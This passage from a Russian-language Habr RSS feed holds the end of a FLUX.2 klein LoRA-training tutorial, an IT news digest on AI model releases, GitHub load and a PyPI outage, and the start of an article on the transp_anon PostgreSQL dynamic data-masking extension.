style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;ai-toolkit сопоставляет &lt;code&gt;reference/&amp;lt;id&amp;gt;&lt;/code&gt; с &lt;code&gt;target/&amp;lt;id&amp;gt;&lt;/code&gt; по имени файла без расширения; подписи лежат в папке &lt;code&gt;target&lt;/code&gt;. Чистая пара «вход, выход» даёт больше сигнала, чем одно текстовое описание, поэтому примеров нужно меньше: 50–200 пар вполне достаточно. Для этой LoRA использовалось 120.&lt;p&gt;&lt;strong&gt;2. Подпись — это инструкция, а не описание.&lt;/strong&gt; Подпись для стилевой LoRA описывает, что находится на изображении. Подпись для LoRA редактирования описывает трансформацию, которую нужно применить. У ugly-kontext подписи выглядят просто так:&lt;pre&gt;&lt;code&gt;change the photo the cat into an ugly sketch of the same cat&#xA;change the photo the dog into an ugly sketch of the same dog&#xA;change the photo the animal group into an ugly sketch of the same group&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Здесь не нужен выдуманный триггер. Держите формулировку трансформации одинаковой по всему датасету, и повторяющаяся фраза — в этом случае &lt;code&gt;ugly sketch&lt;/code&gt; — сама станет активационной фразой при инференсе. При желании можно всё равно добавить &lt;code&gt;trigger_word:&lt;/code&gt; для более жёсткого включения, но для редактирования это необязательно.&lt;p&gt;&lt;strong&gt;3. Одна строка в конфиге. &lt;/strong&gt;Добавьте &lt;code&gt;control_path:&lt;/code&gt; рядом с &lt;code&gt;folder_path:&lt;/code&gt; и укажите в нём папку &lt;code&gt;reference&lt;/code&gt;. Именно эта строка превращает стилевую LoRA в LoRA для редактирования:&lt;pre&gt;&lt;code class=yaml&gt;datasets:&#xA;  - folder_path:  &amp;#34;/workspace/datasets/ugly_kontext/target&amp;#34;     # outputs + captions&#xA;    control_path: &amp;#34;/workspace/datasets/ugly_kontext/reference&amp;#34;  # inputs ← makes it an edit LoRA&#xA;    caption_ext: &amp;#34;txt&amp;#34;&#xA;    resolution: [512]   # match your source; bucketing higher just upscales&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Всё остальное — &lt;code&gt;arch: &amp;#34;flux2_klein_4b&amp;#34;&lt;/code&gt;, сеть 128/64/64/32, &lt;code&gt;lr: 1e-4&lt;/code&gt;, &lt;code&gt;flowmatch&lt;/code&gt;, обучение на base-4B — остаётся таким же, как в конфиге для стилевой LoRA. LoRA для редактирования тоже обычно достигают визуального пика где-то между 1000 и 1750 шагами, поэтому чекпоинт выбираем глазами, как и раньше. В указанном выше репозитории лежат все чекпоинты с 250 до 2000 шагов, чтобы их можно было сравнить.&lt;p&gt;На инференсе вы передаёте входную фотографию. Этот пример загружает опубликованную LoRA прямо с Hub и запускает её на distilled-модели:&lt;pre&gt;&lt;code class=python&gt;import torch&#xA;from PIL import Image&#xA;from diffusers import Flux2KleinPipeline&#xA;&#xA;pipe = Flux2KleinPipeline.from_pretrained(&#xA;    &amp;#34;black-forest-labs/FLUX.2-klein-4B&amp;#34;, torch_dtype=torch.bfloat16&#xA;).to(&amp;#34;cuda&amp;#34;)&#xA;pipe.load_lora_weights(&#xA;    &amp;#34;stephenbtl/ugly-kontext-klein-4b-lora&amp;#34;,&#xA;    weight_name=&amp;#34;ugly_kontext_klein_4b_v1.safetensors&amp;#34;,&#xA;)&#xA;&#xA;reference = Image.open(&amp;#34;your_pet.jpg&amp;#34;).convert(&amp;#34;RGB&amp;#34;).resize((1024, 1024))&#xA;img = pipe(&#xA;    prompt=&amp;#34;change the photo the cat into an ugly sketch of the same cat&amp;#34;,&#xA;    image=reference,&#xA;    num_inference_steps=4, guidance_scale=4.0,&#xA;).images[0]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Для klein ширина и высота должны делиться на 16, а &lt;code&gt;(W·H)/256&lt;/code&gt; должно быть не больше 4096; 1024×1024 подходит.&lt;p&gt;Датасет состоял только из кошек, собак и групп животных, но трансформация обобщается: подайте на вход здание, и модель всё равно применит то же редактирование — «перерисовать как скетч»:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/5ee/1fd/e11/5ee1fde11b4f1cf09310978602674547.png width=1040 height=556 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/5ee/1fd/e11/5ee1fde11b4f1cf09310978602674547.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/5ee/1fd/e11/5ee1fde11b4f1cf09310978602674547.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Объект, которого не было в обучающем наборе. LoRA выучила именно редактирование — сохранить структуру и перерисовать её в виде линейного рисунка, — а не просто «как рисовать кошек».&lt;p&gt;&lt;strong&gt;Самое сложное в LoRA для редактирования — не обучение, а данные. &lt;/strong&gt;Пары «до/после» не появляются сами собой из папки с красивыми картинками. Обычно их собирают одним из трёх способов:&lt;ul&gt;&lt;li&gt;&lt;p&gt;переиспользуют существующий Kontext-style датасет для редактирования — именно так сделана ugly-kontext: её пары изначально собирались для FLUX.1 Kontext;&lt;li&gt;&lt;p&gt;генерируют целевые изображения программно — например, red-zoom LoRA в стартовом Space просто кропает и апскейлит выделенную область, без ручного редактирования;&lt;li&gt;&lt;p&gt;или один раз прогоняют набор входных изображений через существующую edit-модель и оставляют удачные результаты.&lt;/ul&gt;&lt;p&gt;Один нюанс из этого запуска: в ugly-kontext есть 120 пар, но всего три формулировки подписи. Модель хорошо попадает в саму трансформацию, но плохо обобщается на промпты, сформулированные иначе. Если хотите, чтобы она понимала более свободные инструкции, варьируйте формулировки по всему датасету — достаточно 5–10 вариантов.&lt;h2&gt;Заворачиваем всё в Gradio-приложение&lt;/h2&gt;&lt;p&gt;Для этого хакатона нужно отправить Gradio-приложение на Space. Если хотите упростить себе жизнь, можно взять готовый вариант. Стартовый Space для Build Small в одном месте умеет text-to-image, редактирование изображений, запуск LoRA и содержит гайд по обучению. Дублируете его через меню в правом верхнем углу Space — и через пару минут у вас уже есть рабочее klein-приложение в вашем аккаунте: без токена и без дополнительной настройки. После этого можно обрезать его под свою идею.&lt;p&gt;Если хотите обучить LoRA, вычисления всё равно понадобятся. Но всё остальное можно запускать прямо внутри этого Space.&lt;p&gt;Пара нюансов, которые стоит знать перед публикацией:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Хостинг ZeroGPU Space требует HF PRO ($9 в месяц) на личном аккаунте. Без этого Space всё равно можно продублировать, и он будет работать у тех, у кого он есть, а также бесплатно запускаться на любой вашей CUDA-машине. 4B-модели нужно около 13 ГБ VRAM, поэтому Space без GPU её не потянет.&lt;li&gt;&lt;p&gt;Добавьте &lt;code&gt;peft&lt;/code&gt; в &lt;code&gt;requirements.txt&lt;/code&gt;. Без него &lt;code&gt;pipe.load_lora_weights()&lt;/code&gt; падает с ошибкой &lt;code&gt;&amp;#34;PEFT backend is required&amp;#34;&lt;/code&gt;: Space с LoRA соберётся, но упадёт уже во время выполнения.&lt;/ul&gt;&lt;h2&gt;Подведем итоги&lt;/h2&gt;&lt;p&gt;Весь цикл выглядит так: 15–40 изображений, подписи только с описанием содержимого и выдуманным триггерным словом, неизменённая строка &lt;code&gt;arch&lt;/code&gt; и чекпоинт, выбранный глазами примерно в диапазоне 750–1500 шагов. Именно это обычно отделяет аккуратную стилевую LoRA от переобученной. Для LoRA редактирования вместо одной папки берём парные папки &lt;code&gt;reference/&lt;/code&gt; и &lt;code&gt;target/&lt;/code&gt;, пишем подпись как инструкцию и добавляем одну строку &lt;code&gt;control_path:&lt;/code&gt; — всё остальное остаётся тем же. Затем заворачиваем результат в Gradio-приложение и публикуем Space.&lt;details class=spoiler&gt;&lt;summary&gt;Ссылки&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Модели: &lt;a href=https://huggingface.co/black-forest-labs/FLUX.2-klein-4B&gt;FLUX.2-klein-4B&lt;/a&gt; (distilled, на ней запускаем инференс) · &lt;a href=https://huggingface.co/black-forest-labs/FLUX.2-klein-base-4B&gt;FLUX.2-klein-base-4B&lt;/a&gt; (base, это цель для обучения) — обе под Apache 2.0&lt;li&gt;&lt;p&gt;LoRA для редактирования из этого гайда: &lt;a href=https://huggingface.co/stephenbtl/ugly-kontext-klein-4b-lora&gt;stephenbtl/ugly-kontext-klein-4b-lora&lt;/a&gt;&lt;li&gt;&lt;p&gt;Стартовый Space для дублирования: &lt;a href=https://huggingface.co/spaces/stephenbtl/klein-build-small-starter&gt;klein Build Small starter&lt;/a&gt;&lt;li&gt;&lt;p&gt;Хакатон: &lt;a href=https://huggingface.co/build-small-hackathon&gt;Build Small&lt;/a&gt;&lt;li&gt;&lt;p&gt;Документация: &lt;a href=https://docs.bfl.ai/flux_2/flux2_klein_training&gt;klein LoRA training&lt;/a&gt; · &lt;a href=https://docs.bfl.ai/flux_2/flux2_klein_training_example&gt;worked example&lt;/a&gt;&lt;li&gt;&lt;p&gt;Тренер: &lt;a href=https://github.com/ostris/ai-toolkit&gt;ostris/ai-toolkit&lt;/a&gt;&lt;li&gt;&lt;p&gt;Gradio: &lt;a href=https://www.gradio.app/docs&gt;docs&lt;/a&gt; · &lt;a href=https://www.gradio.app/guides/quickstart&gt;quickstart&lt;/a&gt; · &lt;a href=https://huggingface.co/docs/hub/spaces-sdks-gradio&gt;Spaces SDK&lt;/a&gt; · &lt;a href=https://huggingface.co/docs/hub/spaces-zerogpu&gt;ZeroGPU&lt;/a&gt; · &lt;a href=https://www.gradio.app/guides/server-mode&gt;Server mode&lt;/a&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/details&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/2c0/62d/343/2c062d3436b75b3ad3ec25581b3277de.png width=2640 height=300 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/2c0/62d/343/2c062d3436b75b3ad3ec25581b3277de.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/2c0/62d/343/2c062d3436b75b3ad3ec25581b3277de.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Работа с LoRA не заканчивается на обучении адаптера: результат ещё нужно встроить в понятный сценарий, научиться управлять генерацией и довести до рабочего инструмента. Продолжить разбираться в прикладном использовании ИИ можно на бесплатных уроках. Преподаватели-практики расскажут про свои подходы, а участники смогут познакомиться с форматом обучения и задать вопросы.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;18 июня, 20:00.&lt;/strong&gt; «Автоматизация креативного контента». &lt;a href=https://otus.pw/iiJ3/&gt;Записаться&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;22 июня, 20:00.&lt;/strong&gt; «Продвинутое структурирование промптов: как получать предсказуемый результат». &lt;a href=https://otus.pw/u3lD/&gt;Записаться&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;29 июня, 20:00.&lt;/strong&gt; «Обзор ИИ-технологий для разработчиков: от идей до рабочих решений». &lt;a href=https://otus.pw/2kr7/&gt;Записаться&lt;/a&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Больше бесплатных уроков июня смотрите &lt;/em&gt;&lt;a href=https://otus.pw/J9cEQ/&gt;&lt;em&gt;в дайджесте.&lt;/em&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/otus/articles/1044348/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1044348</guid>
      <pubDate>Wed, 10 Jun 2026 16:50:15 +0000</pubDate>
    </item>
    <item>
      <title>Anthropic выпустили Mythos, а в России заблокировали Python</title>
      <link>https://habr.com/ru/companies/haulmont/articles/1046123/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046123</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;17-й выпуск IT-новостей от &lt;a href=https://openide.ru/&gt;OpenIDE&lt;/a&gt;!&lt;p&gt;Anthropic за одну неделю успели опубликовать страшную статью про рекурсивное самосовершенствование ИИ и выпустить публичную версию Mythos. В России на несколько часов заблокировали Python, а GitHub продолжает страдать от 17 млн AI-сгенерированных PR в месяц.&lt;p&gt;Дайджест также доступен в формате &lt;a href=https://t.me/openide_official/153&gt;видео&lt;/a&gt;:&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/6a298de16e2a155d357c9637 data-style id=6a298de16e2a155d357c9637 width data-habr-games&gt;&lt;/div&gt;&lt;h2&gt;Anthropic: ИИ начал строить себя&lt;/h2&gt;&lt;p&gt;4 июня Anthropic опубликовали статью &lt;a href=https://www.anthropic.com/institute/recursive-self-improvement&gt;When AI Builds Itself&lt;/a&gt; с внутренней статистикой. Сейчас более 80% кода в основной кодовой базе Anthropic пишет Claude. До запуска Claude Code в феврале 2025 года эта цифра была в районе нескольких процентов. За тот же период средний инженер компании отгружает примерно в 8 раз больше кода в квартал. На открытых задачах без заранее заданного решения Claude справляется в 76% случаев — в сентябре 2025 было 25%.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/9b7/0b5/5e8/9b70b55e8d0327c89ad56bbede72a48d.jpg width=1280 height=745 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/9b7/0b5/5e8/9b70b55e8d0327c89ad56bbede72a48d.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/9b7/0b5/5e8/9b70b55e8d0327c89ad56bbede72a48d.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Ещё одна цифра: внутренняя модель Mythos Preview ускорила тренировочный код в 52 раза по сравнению с исходным бенчмарком. Claude Opus 4.5 в ноябре 2025 выбирал лучший следующий шаг в исследовательских сессиях чаще человека в 51% случаев, Mythos Preview в апреле 2026 — уже в 64%.&lt;p&gt;Всё это Anthropic называет началом рекурсивного самосовершенствования: моделей, которые ускоряют создание следующих поколений моделей. Компания при этом выступает за механизм координации, который позволил бы приостановить разработку frontier-моделей при необходимости.&lt;h2&gt;Через пять дней Anthropic выпустили Mythos в паблик&lt;/h2&gt;&lt;p&gt;9 июня Anthropic выпустили &lt;a href=https://www.anthropic.com/news/claude-fable-5&gt;Claude Fable 5&lt;/a&gt; — первую публично доступную версию Mythos, той самой модели из статьи выше. До 22 июня доступна в Pro, Max, Team и Enterprise-планах без доплаты, с 23 июня переходит на кредиты.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/8ca/5ff/fb7/8ca5fffb7efcb7b21da146b0706a4fd5.jpg width=1280 height=720 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/8ca/5ff/fb7/8ca5fffb7efcb7b21da146b0706a4fd5.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/8ca/5ff/fb7/8ca5fffb7efcb7b21da146b0706a4fd5.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Модель позиционируется как лучшая у Anthropic по инженерным задачам, работе со знаниями и зрению. В высокорисковых областях — кибербезопасность, биология, химия — жёсткие ограничения с откатом на Opus 4.8.&lt;p&gt;Самое интересное из этого релиза то, что Anthropic по сути отказываются от подписочной модели. Мягко, но отказываются. Дали попробовать всем на 2 недели, а дальше только жёсткая тарификация без субсидий за инференс через подписки. Видимо, это была пророческая статья: &lt;a href=https://habr.com/ru/articles/1036550/&gt;Каждая AI‑подписка — это бомба замедленного действия для корпоративного сектора&lt;/a&gt;.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/cfd/18a/bf6/cfd18abf672a56e8a80eb6e2c82c9942.png width=1200 height=655 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/cfd/18a/bf6/cfd18abf672a56e8a80eb6e2c82c9942.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/cfd/18a/bf6/cfd18abf672a56e8a80eb6e2c82c9942.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Мониторинг JVM в OpenIDE&lt;/h2&gt;&lt;p&gt;В &lt;a href=https://openide.ru/&gt;OpenIDE&lt;/a&gt; добавили &lt;a href=https://marketplace.openide.ru/plugin/profiling-tools/421/&gt;Profiling Tools&lt;/a&gt; — плагин для мониторинга JVM-приложений. Показывает список запущенных локально процессов с PID, версией JVM, аргументами и system properties.&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/6a2994956e2a155d357c9977 data-style id=6a2994956e2a155d357c9977 width data-habr-games&gt;&lt;/div&gt;&lt;p&gt;По каждому процессу — графики CPU, Heap, Non-Heap Memory и GC Load.&lt;p&gt;Можно подключиться к уже запущенному приложению или запустить его через Run-конфигурацию с мониторингом сразу.&lt;p&gt;Отдельная вкладка с потоками: фильтрация по имени и состоянию, сортировка по загрузке CPU и памяти, stack trace с навигацией к коду в редакторе.&lt;h2&gt;GitHub трещит под нагрузкой AI-агентов&lt;/h2&gt;&lt;p&gt;В марте 2026 AI-агенты &lt;a href=https://thenewstack.io/github-wants-developers-back/&gt;генерировали&lt;/a&gt; 17 млн pull request&amp;#39;ов в месяц — против 4 млн в сентябре 2025. Использование GitHub Actions выросло с 500 млн минут в неделю в 2023 году до 2,1 млрд в начале 2026-го. В первую неделю апреля произошло пять отдельных инцидентов: Copilot лежал 2,7 часа, code search — 8,7 часов, время ожидания агентских сессий в пике доходило до 54 минут при норме 15–40 секунд, 84% запросов в момент пиковой нагрузки завершались ошибкой.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/847/015/353/847015353c45de29bef7899d9da1baaf.jpg width=1280 height=720 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/847/015/353/847015353c45de29bef7899d9da1baaf.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/847/015/353/847015353c45de29bef7899d9da1baaf.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Самое главное, чтобы работала возможность нажимать звёздочки! А коммиты, PR и GitHub Actions это так, баловство.&lt;h2&gt;Axelix&lt;/h2&gt;&lt;p&gt;&lt;a href=https://github.com/axelixlabs/axelix&gt;Axelix&lt;/a&gt; — open-source инструмент для дебаггинга, тестирования и мониторинга Java/Kotlin Spring Boot приложений в реальном времени. Основная идея — без перезапусков и JDWP-дебаггеров отвечать на вопросы, которые иначе съедают часы: какой бин оказался в контексте и почему, откуда пришло это property — из YAML, переменной окружения или ConfigMap, почему эндпоинт отдаёт закешированный ответ после обновления базы.&lt;p&gt;Из конкретного: инспекция бинов и конфигурации в runtime, смена уровней логирования на лету, thread dumps и heap exports, включение и выключение scheduled tasks и кешей без передеплоя. Мониторинг нескольких инстансов и окружений из единого дашборда.&lt;p&gt;&lt;a href=https://habr.com/ru/companies/spring_aio/articles/1041836/&gt;Axelix. Элитный спецназ для Вашей Spring Boot экосистемы.&lt;/a&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/076/d0a/525/076d0a525aa18be0bad0ef39944e8005.jpg width=1280 height=720 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/076/d0a/525/076d0a525aa18be0bad0ef39944e8005.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/076/d0a/525/076d0a525aa18be0bad0ef39944e8005.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;В России заблокировали PyPI&lt;/h2&gt;&lt;p&gt;1 июня pypi.org &lt;a href=https://habr.com/ru/news/1042160/&gt;стал недоступен&lt;/a&gt; для российских пользователей на несколько часов. Разработчики не могли устанавливать пакеты ни локально, ни в облачных окружениях. РКН свою причастность отверг — по всей видимости, pypi.org попал под блокировку по смежному IP. К вечеру доступ восстановился.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/4ff/192/cc3/4ff192cc33128343e201eb553efbac9a.png width=938 height=586 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/4ff/192/cc3/4ff192cc33128343e201eb553efbac9a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/4ff/192/cc3/4ff192cc33128343e201eb553efbac9a.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Nemotron 3 Ultra&lt;/h2&gt;&lt;p&gt;1 июня на Computex Jensen Huang &lt;a href=https://huggingface.co/nvidia/NVIDIA-Nemotron-3-Ultra-550B-A55B-NVFP4&gt;анонсировал&lt;/a&gt; Nemotron 3 Ultra, 4 июня NVIDIA выложила веса.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/747/d33/1f8/747d331f89de719dec30c6f9f417cff2.jpg width=1200 height=741 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/747/d33/1f8/747d331f89de719dec30c6f9f417cff2.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/747/d33/1f8/747d331f89de719dec30c6f9f417cff2.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;550 млрд параметров, 55 млрд активных (MoE), архитектура Hybrid Mamba-Attention. Более 300 токенов в секунду, по заявлению компании — в 5 раз быстрее предшественников, на 30% дешевле в инференсе. Intelligence Index: 48 — лидер среди американских open-weights моделей, хотя отставание от китайских конкурентов сохраняется (Kimi K2.6 — 54).&lt;p&gt;Веса открытые, доступны через NVIDIA NIM. Модель ориентирована на долгие агентные сессии: долгосрочное планирование, анализ больших данных, сложный кодинг. Попробовать можно в &lt;a href=https://opencode.ai/&gt;OpenCode&lt;/a&gt;.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c56/b26/087/c56b26087a188121b23a62999c07d439.png width=1560 height=436 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c56/b26/087/c56b26087a188121b23a62999c07d439.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c56/b26/087/c56b26087a188121b23a62999c07d439.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Уже сейчас &lt;a href=https://openide.ru/&gt;OpenIDE&lt;/a&gt; позволяет разрабатывать проекты на Java, Spring, Python, Go, JavaScript и TypeScript! А поддержка Docker и 300+ плагинов доступны абсолютно бесплатно в &lt;a href=https://marketplace.openide.ru/&gt;маркетплейсе&lt;/a&gt;. Пробуйте российскую IDE в деле и подписывайтесь на нас в &lt;a href=https://t.me/openide_official&gt;Telegram&lt;/a&gt; или &lt;a href=https://max.ru/openide&gt;Max&lt;/a&gt;, чтобы не пропустить свежие обновления и полезные материалы.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/haulmont/articles/1046123/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046123</guid>
      <pubDate>Wed, 10 Jun 2026 16:45:18 +0000</pubDate>
    </item>
    <item>
      <title>transp_anon – динамическое маскирование через Access Methods в PostgreSQL</title>
      <link>https://habr.com/ru/companies/tantor/articles/1046107/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046107</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Меня зовут Илья Рожнёв, я разработчик СУБД в&lt;a href=https://tantorlabs.ru/&gt; ”Тантор Лабс”&lt;/a&gt;. Мы могли с вами видеться на московском PG BootCamp Russia 2026 где я выступал с докладом про&lt;a href=&#34;https://rutube.ru/video/38a72b51bfe5daa774795e861da54633/?r=wd&#34;&gt; OLAP-нагрузки на реплике&lt;/a&gt;. Это моя первая статья на Хабре, поэтому буду рад вашему фидбеку.&lt;h3&gt;Вступление&lt;/h3&gt;&lt;p&gt;Enterprise-разработка рано или поздно сталкивается с классической задачей: нужно выдать доступ к базе данных аналитикам, тестировщикам или саппорту в проде, но при этом необходимо скрыть персональные данные или коммерческую тайну. В прошлой статье, Александр Дубов &lt;a href=https://habr.com/ru/companies/tantor/articles/913196/&gt;рассказывал &lt;/a&gt;о &lt;strong&gt;pg_anon &lt;/strong&gt;– инструменте &lt;em&gt;статического &lt;/em&gt;маскирования данных, которое отлично подходит для случаев, когда таблица копируется полностью. Но что если “замаскировать” нужно просто результат какого-либо запроса? Здесь пригодится маскирование &lt;em&gt;динамическое&lt;/em&gt;, и сегодня я расскажу об инструменте &lt;strong&gt;transp_anon&lt;/strong&gt;, который входит в новый релиз СУБД Tantor Postgres 18.&lt;p&gt;Вообще, поскольку в ванильном PostgreSQL «из коробки» полноценного динамического маскирования на уровне ядра нет, задачу приходится решать с помощью расширений или сторонних инструментов, таких как:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/about/news/pg_anonymize-a-new-extension-for-simple-and-transparent-data-anonymization-2606/&gt;pg_anonymize&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://postgresql-anonymizer.readthedocs.io/en/stable/&gt;postgresql_anonymizer&lt;/a&gt;&lt;li&gt;&lt;p&gt;другие инструменты маскирования, например, через прокси.&lt;/ul&gt;&lt;p&gt;Нам понравилось решение pg_anonymize. Мы активно использовали и развивали этот инструмент, сделав свой форк &lt;strong&gt;transp_anon&lt;/strong&gt;, но в процессе эксплуатации мы столкнулись с архитектурными ограничениями оригинального расширения, которое приводило к утечкам данных. Чтобы понять, из-за чего маскируемые данные могли попасть “не в те руки”, пришлось разобраться в том, как работала старая архитектура.&lt;h3&gt;Как работала legacy-архитектура transp_anon&lt;/h3&gt;&lt;p&gt;Разработчик схемы базы задает для колонок таблицы правила маскировки. Для обычных пользователей данные не меняются, но если к базе подключился пользователь с меткой MASKED, расширение включается в работу.&lt;pre&gt;&lt;code class=sql&gt;-- создадим маскируемую роль&#xA;CREATE ROLE skynet LOGIN;&#xA;GRANT SELECT ON TABLE people TO skynet;&#xA;SECURITY LABEL FOR transp_anon ON ROLE skynet IS &amp;#39;MASKED&amp;#39;;&#xA;&#xA;-- добавим правила маскировки для колонок&#xA;SECURITY LABEL FOR transp_anon ON COLUMN people.lastname&#xA;  IS &amp;#39;MASKED WITH FUNCTION transp_anon.fake_last_name()&amp;#39;;&#xA;&#xA;SECURITY LABEL FOR transp_anon ON COLUMN people.phone&#xA;  IS &amp;#39;MASKED WITH FUNCTION transp_anon.partial(phone,2,$$******$$,2)&amp;#39;;&#xA;&#xA;--меняем роль на маскируемую&#xA;ALTER ROLE skynet;&#xA;&#xA;select * from people;&#xA;id  | firstname | lastname  |   phone&#xA;----+-----------+-----------+------------&#xA;T1  | Sarah     | Stranahan | 06******11&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Здесь магия маскировки работает через подход, называемый &lt;strong&gt;Query Rewriting&lt;/strong&gt;. На этапе post_parse_analyze расширение “смотрело” на сам запрос и модифицировало его, подменяя прямой доступ к колонкам, на вызов функций. В псевдокоде это выглядит так:&lt;pre&gt;&lt;code class=sql&gt;-- оригинальный запрос, правила маскировки мы создали выше&#xA;SELECT * FROM people;&#xA;-- после того как transp_anon обработал запрос&#xA;SELECT &#xA;  id,&#xA;  firstname,&#xA;  transp_anon.fake_last_name() AS lastname,&#xA;  transp_anon.partial(phone, 2, &amp;#39;******&amp;#39;, 2) AS phone &#xA;FROM people;&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img 